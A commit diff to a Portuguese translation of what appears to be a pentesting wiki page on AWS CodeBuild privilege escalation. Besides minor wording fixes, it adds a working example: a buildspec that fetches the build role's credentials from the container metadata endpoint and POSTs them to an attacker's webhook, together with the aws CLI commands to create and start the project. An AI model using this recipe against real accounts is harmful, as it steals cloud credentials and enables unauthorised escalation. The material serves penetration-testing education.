Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-08 20:44:23 +00:00
parent 3e773a4b6b
commit 7c5771da7a

View File

@@ -63,7 +63,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
- `StartBuild` aciona um único trabalho de construção usando um `buildspec.yml` específico.
- `StartBuildBatch` permite que você inicie um lote de construções, com configurações mais complexas (como executar várias construções em paralelo).
**Impacto Potencial:** Privesc direto para funções AWS Codebuild anexadas.
**Impacto Potencial:** Privesc direto para funções do AWS Codebuild anexadas.
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project
```
{{#endtab }}
{{#tab name="Example3" }}
```bash
# Generated by ex16x41, tested
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
{
"name": "user-project-1",
"source": {
"type": "NO_SOURCE",
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
"computeType": "BUILD_GENERAL1_SMALL"
},
"serviceRole": "ARN-OF-TARGET-ROLE"
}
# Create a new CodeBuild project with the hook.json file
aws codebuild create-project --cli-input-json file:///tmp/hook.json
# Start a build with the new project
aws codebuild start-build --project-name user-project-1
# Get Credentials output to webhook address
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
```
{{#endtab }}
{{#endtabs }}
@@ -291,7 +325,7 @@ Para mais informações [**verifique a documentação**](https://docs.aws.amazon
Um atacante capaz de iniciar/reiniciar uma build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de escrita, pode obter execução de comandos no processo do CodeBuild.
Nota: a escalada é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, idealmente mais privilegiado, do que o do atacante.
Nota: a escalada é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, esperançosamente mais privilegiado, do que o do atacante.
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./